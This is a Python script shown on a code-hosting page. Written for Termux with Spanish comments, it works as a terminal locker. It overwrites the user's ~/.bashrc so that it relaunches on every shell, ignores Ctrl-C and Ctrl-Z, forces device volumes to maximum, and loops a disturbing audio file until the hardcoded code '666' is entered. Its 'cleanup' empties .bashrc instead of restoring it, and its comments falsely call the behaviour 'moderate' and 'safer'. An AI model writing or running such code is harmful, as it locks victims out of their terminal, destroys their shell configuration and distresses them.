-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsekzo.py
146 lines (127 loc) · 4.14 KB
/
sekzo.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
import os
import sys
import threading
import time
from subprocess import Popen, run
import signal
import readchar
import atexit
# Configuración
STOP_CODE = "666"
MUSIC_FILE = "perturbador.mp3"
LOCK_FILE = os.path.expanduser("~/.termux_locked")
def create_lock_files():
"""Crea archivos de bloqueo y scripts de persistencia de forma más segura"""
# Marca de bloqueo
with open(LOCK_FILE, 'w') as f:
f.write('1')
# Modificar .bashrc de forma más simple y controlada
home = os.path.expanduser("~")
bashrc_path = os.path.join(home, ".bashrc")
script_path = os.path.abspath(__file__)
# Versión que reemplaza la pantalla de bienvenida
with open(bashrc_path, 'w') as f:
f.write(f"""
# Inicio del script de bloqueo
if [ -f {LOCK_FILE} ]; then
clear
echo -e "\\n\\n🔒 Terminal bloqueada ☠️"
echo "-----------------"
python {script_path}
fi
""")
def disable_keyboard_interrupt():
"""Deshabilita interrupciones de teclado de forma más suave"""
signal.signal(signal.SIGINT, lambda x, y: None)
signal.signal(signal.SIGTSTP, lambda x, y: None)
def play_music():
"""Reproduce la música en bucle con volumen moderado"""
while True:
try:
process = Popen(['mpv', '--no-terminal', '--volume=200',
'--no-config', '--no-input-terminal',
'--no-osc', '--no-input-default-bindings',
MUSIC_FILE])
process.wait()
except:
time.sleep(1)
continue
def maximize_volume():
"""Ajusta el volumen del dispositivo a un nivel moderado"""
try:
os.system("termux-volume music 100")
os.system("termux-volume ring 100")
os.system("termux-volume system 100")
except:
pass
def clear_screen():
"""Limpia la pantalla"""
os.system('clear')
def get_hidden_input(prompt):
"""Obtiene entrada oculta del usuario"""
print(prompt, end='', flush=True)
password = ''
while True:
char = readchar.readchar()
if char in ['\r', '\n']:
print()
return password
elif char == '\x7f': # Backspace
if len(password) > 0:
password = password[:-1]
print('\b \b', end='', flush=True)
else:
password += char
print('*', end='', flush=True)
def cleanup():
"""Limpia los archivos de bloqueo al desbloquear"""
if os.path.exists(LOCK_FILE):
os.remove(LOCK_FILE)
# Restaura .bashrc a su estado original
home = os.path.expanduser("~")
bashrc_path = os.path.join(home, ".bashrc")
with open(bashrc_path, 'w') as f:
f.write("")
def main():
# Configura el entorno
disable_keyboard_interrupt()
create_lock_files()
maximize_volume()
# Inicia la música en segundo plano
music_thread = threading.Thread(target=play_music, daemon=True)
music_thread.start()
while True:
try:
clear_screen()
print("\n" * 2)
print("🔒 Terminal bloqueada")
print("-" * 20)
code = get_hidden_input("\nIntroduce el código para desbloquear: ")
if code == STOP_CODE:
clear_screen()
cleanup()
os.system("pkill -9 mpv")
print("\n🔓 ¡Terminal desbloqueada!")
time.sleep(1)
sys.exit(0)
else:
clear_screen()
print("\n❌ Código incorrecto. Intenta de nuevo...")
time.sleep(2)
except Exception as e:
clear_screen()
continue
if __name__ == "__main__":
if not os.path.exists(MUSIC_FILE):
print(f"Error: El archivo '{MUSIC_FILE}' no existe.")
sys.exit(1)
# Verifica dependencias
try:
run(['mpv', '--version'], capture_output=True)
except FileNotFoundError:
print("Error: mpv no está instalado.")
print("Instálalo con: pkg install mpv")
sys.exit(1)
# Instala dependencias
os.system("pip install readchar >/dev/null 2>&1")
main()